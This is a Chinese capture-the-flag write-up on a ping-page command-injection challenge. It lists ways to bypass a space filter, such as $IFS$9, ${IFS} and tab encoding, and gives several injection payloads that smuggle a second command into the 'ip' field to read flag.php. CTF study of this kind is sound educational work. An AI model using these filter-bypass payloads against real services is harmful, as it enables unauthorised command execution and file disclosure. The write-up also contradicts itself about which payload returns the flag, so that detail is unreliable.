PingPingPing

拿到题的时候我是没有丝毫的思路,可能是没有做过太多命令注入的题目,所以反应不过来

PingPingPing_第1张图片

还是查看的别人的wp,得知这是一道有关命令注入的题目

通过页面提示传入ip并且利用管道符查看所有文件

PingPingPing_第2张图片

但是当我们查看flag.php的时候发现页面过滤掉了空格

PingPingPing_第3张图片

空格可以用以下字符代替:

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}等

结果又对符号进行了过滤,替换成$IFS$9试试

PingPingPing_第4张图片

发现直接把flag给过滤掉了,我去

PingPingPing_第5张图片

还是先查看一下index.php吧

查看出来应该是PHP源码,大部分可以了解到是利用正则表达式匹配字符,过滤掉,加上一个对flag的贪婪匹配,尽可能多的匹配任何以flag出现的字符串

PingPingPing_第6张图片

通过查看wp可以采取变量代替flag字符串,利用拼接实现功能

?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php
PingPingPing_第7张图片

还有一种是说,在源码中可以得知$a变量是可以被覆盖的

?ip=127.0.0.1;a=f;cat$IFS$1$alag.php
#无flag
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php
#无flag
?ip=127.0.0.1;a=a;cat$IFS$1fl$aag.php
#无flag
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
#有flag
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php
#无flag

你可能感兴趣的:(php,开发语言)